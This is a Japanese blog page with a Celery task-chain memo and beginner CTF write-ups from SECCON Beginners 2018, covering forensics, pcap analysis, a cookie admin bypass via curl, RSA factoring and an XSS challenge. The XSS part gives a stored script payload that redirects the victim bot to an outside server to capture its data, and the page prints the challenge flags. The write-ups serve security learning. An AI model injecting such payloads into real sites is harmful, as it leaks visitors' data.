MawaLog

一日一日、楽しく生きる。技術と音楽が好き。

Celeryのchainの使い方メモ

コメント

Celery(セロリ)のメモ。

実装例

並列処理する対象の関数、関数その1、その2があるとして、関数その1が一度終わったら、そのまま引数を引き継いで関数その2に受け渡す例 (具体例:メールを送信する関数1、成功・失敗をプリントする関数2)

app/tasks.py/

#app/tasks.py/

from celery import shared_task


@shared_task
def add(x, y):
    return 2 * x + y

@shared_task
def printer(z):
    string="some string"
    print("pre print==>",string)#redisのログに吐き出される
    return z

app/views.py/

#app/views.py/

from .tasks import *
from celery import chain

#urls.pyと連動したtest

def test(request):
    result = add.delay(3, 8) #通常のcelery関数ひとつ
    while not result.ready():
        print('spam')
    print(result.get()) 
        #プリントデバッグはこれ(これ以外はredisのログを見る)

    result = chain(add.s(4, 4), printer.s()).apply_async()
        #↑関数addに引数4,4を投入、
        #addの返り値"2 * x + y"を
        #関数printerの第一引数になる。
        #add.sのsはシグネイチャーという機能の略らしい
    print(result.get()) #プリントデバッグは同じ

    ・・・以下は通常のDjango.viewsと同じ

参考記事

qiita.com

.imgの解析問題を解く[CTF for Beginners 2018]"Find the messages"

f:id:k_mawa:20180613011236p:plain

経緯

主にこの記事を元にCTF復習中
SECCON Beginners CTF 2018 Write-up

手順

1 7zを解凍

disk.img_de4d3f06696ce78c1646ed140a0ca4e5fbe4c0aa.7z というファイルがドンとあるだけ。まず、.7zという拡張子なので、これを解凍する必要がある$ brew install p7zipで入るp7zipというパッケージで解凍できるようになる。

$ 7z e disk.img_de4d3f06696ce78c1646ed140a0ca4e5fbe4c0aa.7z
$ 7z x disk.img

なぜかわからないけどextractするコマンドを2回叩いたらしいから記録に残しておく。とりあえず、それでファイルが展開される。

2 message1

txtファイルに謎の文字列。見覚えがあるのはpython使ってるからかな・・・base64ですね。 Y3RmNGJ7eTB1X3QwdWNoZWQ=

で、デコード。

>>> import base64
>>> str ="Y3RmNGJ7eTB1X3QwdWNoZWQ="
>>> base64.b64decode(str)
b'ctf4b{y0u_t0uched'

でた!

3 message2

message_2_of_3.pngが見れない。ファイルが壊れてる??ということで、どうなってるのかバイナリをチェックしましょう。自分は0xEDというソフトを使ってます。

バイナリの最初がPNGは決まっているのですが、XXXXXXみたいになってるので、書き直します。 f:id:k_mawa:20180613012112p:plain

このように。 f:id:k_mawa:20180613012101p:plain

すると見えます。 f:id:k_mawa:20180613012503p:plain

_a_part_0f_ ですね、オブのオーがゼロなのでご注意をば。

3 message3

binwalkってのがいいらしいんですが、インストール後なんかうまく動いてくれないので別途foremostというツールを利用。

orebibou.com

$ foremost disk.img
foremost: /usr/local/etc/foremost.conf: No such file or directory
Processing: disk.img
|*|

00018946.pdfというファイルが手に入ります。 PDFに書いてます↓

"disk_image_for3nsics}"

これを足して、

ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}

が正解!

参考引用元記事

こちらも参考にさせていただきました。

qiita.com

メールのキャプチャを追う問題を解く[CTF for Beginners 2018]"[Warmup] plain mail"

f:id:k_mawa:20180613005031p:plain

経緯

主にこの記事を元にCTF復習中
SECCON Beginners CTF 2018 Write-up

手順

0 wiresharkをインストール

wiresharkは存在は知っていたけど、使うのは初めて。なのでインストール@MacOSXでも、ちょっとBREWでサクッとはいかないからこの記事がいいです。 HomebrewでGUIなWiresharkをインストール | Scribble

1 wireshark起動

ファイルを開くで、ダウンロードしてきた問題のファイルpacket.pcapを開く。するとやりとりが見える。

f:id:k_mawa:20180613005503p:plain

やりとりが2つのIPで往復していることを把握。で、ちょっと切れてしまっていますが、IP〜03が、IP〜02に対して「メール送信後に暗号化データを送るパスワードを送る」とあり、

f:id:k_mawa:20180613005513p:plain

↑でパスワードがわかる。_you_are_pro_

3 暗号化されたデータを取得して解錠

まだ終わらない。ここでその鍵を開ける側のファイルを入手する必要がある。これは、ファイル=>オブジェクトをエクスポート=>IMF形式で取り出せる。と、参考記事にあったので試すと無事取り出せた。IMFはInretnet MessageFormatの略なんだ、へー 

IMF - The Wireshark Wiki

すると、zipファイルが出てきて、それにパスワードを入れて解凍すると、フラグが見える!

参考引用元記事

こちらも参考にさせていただきました。

qiita.com

Webのログインクラック問題を解く[CTF for Beginners 2018]"[Warmup] Greeting"

f:id:k_mawa:20180613010427p:plain

経緯

この記事を元にCTF復習中
SECCON Beginners CTF 2018 Write-up

手順

1 まず挙動を見る

コードもぺろんと書かれている

<?php

if(isset($_POST['name'])) {
  setcookie("name", $_POST['name'], time()+3600);
  $username = htmlspecialchars($_POST['name'], ENT_QUOTES, "UTF-8");

  // 管理者でログインできる?
  if($username === "admin") {
    $username = "偽管理者";
  }
} elseif(isset($_COOKIE['name'])) {
  $username = htmlspecialchars($_COOKIE['name'], ENT_QUOTES, "UTF-8");
} else {
  $username = "ゲスト";
}

?>
<!DOCTYPE html>
<html lang="ja">
  <head>
    <meta charset="UTF-8">
    <title>SECCON Beginners greeting service</title>
  </head>
  <body>
    <h1>こんにちは!<?=$username?>さん!</h1>
    <hr>
    <?php if($username === 'admin'): ?>
      こんにちは管理者さん。
      Flagは、 &quot;<?=$_ENV['SECCON_BEGINNERS_FLAG']?>&quot;です。
    <?php else: ?>
      こんにちは<?=$username?>さん。
      Flagは、管理者である&quot;admin&quot;さんにのみしか表示されません。
    <?php endif; ?>
    <form method="POST">
      <input type="text" placeholder="名前" name="name">
      <button type="submit">名前を変更する</button>
    </form>
    <pre>
    <code>
<?=htmlspecialchars(file_get_contents("./index.php"), ENT_QUOTES, "UTF-8")?>
    </code>
    </pre>
  </body>
</html>

$username == 'admin'ならFlagは、・・・と表示されるはずが、フォームにadminと入れるとPHPによって$username = '偽管理者'と代入されなおされてしまう!うーむ。

$_POST['name']うんたらということはPOSTメソッドのときに動くわけであるから、POSTじゃない方法でクッキーにadminとセットしたままこのサーバーにアクセスできればいいんだ。ということになる。

GETでアクセス

要するに、これは一旦POSTしたあとに再読込すればいいということになる。

こんにちは管理者さん。 Flagは、 "ctf4b{w3lc0m3_TO_ctf4b_w3b_w0rd!!}"です。 

OK!

curlでもできるよ

もちろんカールでもできます^^

$ curl -b name=admin greeting.chall.beginners.seccon.jp 

参考資料によると、下記のようにgrepをかけると、flag部分だけ抽出できてより手っ取り早い!

$ curl -b name=admin greeting.chall.beginners.seccon.jp | grep ctf4b

参考引用元記事

こちらも参考にさせていただきました。
http://zeosutt.hatenablog.com/entry/2018/05/27/140530

XSS問題を解く[CTF for Beginners 2018]"Gimme your comment"

f:id:k_mawa:20180609005340p:plain

経緯

この記事を元にCTF復習中
SECCON Beginners CTF 2018 Write-up

手順

1 XSSの可能性を疑い、検証

見えるのは、Webアプリフレームワークでよく作るBootstrap風のサイト。投稿できるフォームがあるのみ。

まず、投稿フォームが機能しているので、投稿してみる。ここで、Web上のフォームの脆弱性をつく、ということで、XSSの可能性を考える。これを調べるのは、<h1>あ</h1>とかをフォームに入れてみて、<h1>タグがエスケープされているか、されていなくて反応してでっかく文字が出てくるかを見れば良い。すると、フォームのタイトルはエスケープされているものの、コメント本文はエスケープされていない。ここにXSSをしかけることができるとわかる。

2 サーバーを用意しXSSをしかける

User-Agentはどういうときにわかるか、それはサーバーにアクセスしたときのサーバーログだということで、サーバーログが見れる自分の外部公開しているサーバーのURLを用意する。(今回は仮にhttp://www.fugafugafugafuga.comとする。実際は自分のサーバーのURLを設定した。)

※ちなみに注意すべきなのは外部公開していないローカルサーバーでは意味がないです。例えば127.0.0.1とかではサーバーにログが残りません。CTF4bのサーバーからもアクセスできるように外部公開サーバーにしましょう。

下記Javascriptコードでリダイレクトさせられる。

<script>location.href="http://www.fugafugafugafuga.com"</script>

フォーム本文にこのコードを入力、投稿ボタンを押したら、www.fugafugafugafuga.comにリダイレクトされたのを確認する。

3 サーバーのログを見る

サーバーのログを見る。と、アクセスが起きた時刻のログをよく見ると、フラグが書いてある。解けた!!

参考引用元記事

こちらも参考にさせていただきました。
zeosutt.hatenablog.com

RSA暗号解読問題を解く(前編)[CTF for Beginners 2018]"RSA is Power"

セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方-

セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方-

経緯

この記事を元にCTF復習中 SECCON Beginners CTF 2018 Write-up

2問目

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

という3つの数字が並ぶ。わかったところまでメモる。

手順

1:Cは末尾が6。_%2(_%2)%2も0なので2素数の積ではない。モジュロには不適。 Eは桁数が少ないのでRSA暗号のモジュロにするには不適(そもそも実際素数なので素数の積になりえない)なので、Eはたぶん公開鍵だろうなとあたりをつける。でNがモジュロだとあたりをつける。で素因数分解。このとき77桁なので、まあ素因数分解できるか

bit数を測る:桁数じゃなくてビット数をカウントして計算量を測る場合。

>>> s = "97139961312384239075080721131188244842051515305572003521287545456189235939577"
>>> bin(int(s))
'0b1101011011000011010001010000101111000110001110110000000000011110000100101000011111100011100010110110101110011101101011100011011010111111001101011011101011110011100100011011001010011111001010011000110010101010110111011110000111011111101011100100100011111001'
>>> len(bin(int(s)))
258

#258bit

2258 の情報量ということですね。

情報量のメモ。 ビット

参考まで

>>> len(bin(0))
3
>>> len(bin(10))
6
>>> len(bin(100))
9
>>> len(bin(100000))
19

2:Nをmsieveで素因数分解すると2つの素数になる。

$ ./msieve -e -p -q -v "97139961312384239075080721131188244842051515305572003521287545456189235939577"

ぶわーっと始まる

recovered 18 nontrivial dependencies
p39 factor: 299681192390656691733849646142066664329
p39 factor: 324144336644773773047359441106332937713
elapsed time 00:02:49

で、素数の積となる組み合わせPとQは、299681192390656691733849646142066664329と324144336644773773047359441106332937713になるということころまでわかりました。

続きは次回

k-mawa.hateblo.jp

参考記事

bias.hateblo.jp

SECCON Beginners CTF 2018 Write-up